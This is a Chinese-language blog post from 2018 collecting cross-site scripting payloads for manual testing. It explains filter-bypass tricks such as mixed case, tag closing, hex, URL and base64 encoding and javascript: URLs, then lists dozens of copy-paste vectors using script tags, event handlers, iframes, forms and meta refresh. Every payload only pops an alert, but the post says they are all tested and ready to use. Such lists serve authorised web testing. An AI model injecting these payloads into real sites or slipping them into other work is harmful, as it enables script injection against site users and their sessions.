xss常用payload

这是很久之前写的东西了,忘记是从哪里收集总结来的了。抱歉没法贴源地址了。

在平时的工作中,经常遇到需要手工测试xss漏洞的地方,每次都将代码输入一遍(特别是用手机的时候)会显得比较麻烦,因此写这篇文档来记录一下平时可能用到的xss攻击代码,以备不时之需,复制粘贴总比打字方便一些。以下部分代码收集自网络(全部测试过,可以直接使用)。

xss漏洞是常见的web安全问题之一,当网站未做任何防御时,输入就会弹出上述弹窗。但是通常情况下,网站都会对一些字符进行过滤,以预防xss攻击,这时就需要运用到一些xss绕过技巧。

1.大小写混合绕过
顾名思义,通过修改攻击代码大小写进行绕过。虽然javascript对大小写敏感但是html不敏感,javascript操作html的标签不敏感。代码示例:<sCrIpt>alErt(‘xss’)</ScRiPT>

2.闭合标签绕过

单引号很多时候都能起到闭合语句的作用,有时候我们通过关闭标签可以使xss生效。

3.HEX编码来绕过

对语句进行Hex编码,如<script>alert(“xss”);</script>可以转换为3c7363726970743e616c65727428e2809c787373e2809d293b3c2f7363726970743e

4.Javascript URL

链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:

<a href=”javascript:alert(‘test’)”>link</a>

稍微高级一点的写法还有:<a href=”javascript:alert(‘xss’)”>link</a>,通过url编码使它依旧可以被浏览器执行但又不匹配正则表达式。

5.根据之前绕过方法的启发,我们可以通过修改标签和编码或者函数来修改所用的攻击代码

===>常用代码如下:

<script>alert(8888)</script>

<img src=1 onerror=alert(1)>

<script>confirm(8888)</script>

<script>prompt(8888)</script>

<script>\u0061\u006C\u0065\u0072\u0074(8888)</script>

<script src=data:text/javascript,alert(8888)></script>

<script src=&#100&#97&#116&#97:text/javascript,alert(8888)></script>

<script>alert(String.fromCharCode(49,49))</script>

<script>alert(/8888/.source)</script>

<script>setTimeout(alert(8888),0)</script>

===>以下为触发xss,即鼠标移动到输出的字符上(或点击字符)时,即会引发xss。

<anytag onmouseover=alert(1)>h

<anytag onclick=alert(2)>h

<a onmouseover=alert(3)>h

<a onclick=alert(4)>h

<a href=javascript:alert(5)>h

<button/onclick=alert(6)>h

formaction=javascript&colon;alert(7)>h

<form/action=javascript:alert(8)><input/type=submit>

<form onsubmit=alert(9)><button>h

<form onsubmit=alert(10)><button>h

<img src=x onerror=alert(11)> 29

<body/onload=alert(12)>

<body onscroll=alert(13)><br><br><input autofocus>

<iframe/onload=alert(document.domain)></iframe>

<IFRAME SRC=”javascript:alert(14);”></IFRAME>

<meta http-equiv=”refresh” content=”0;

url=data:text/html,<script>alert(15)</script>”>

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>    #此为base64编码,有兴趣可以试试其他编码方式

<input onfocus=alert(16) autofocus>    #使用这行攻击代码会无限弹xss

<input onblur=alert(17) autofocus><input autofocus>

2018/12/13 16:22 下午 posted in  xss跨站脚本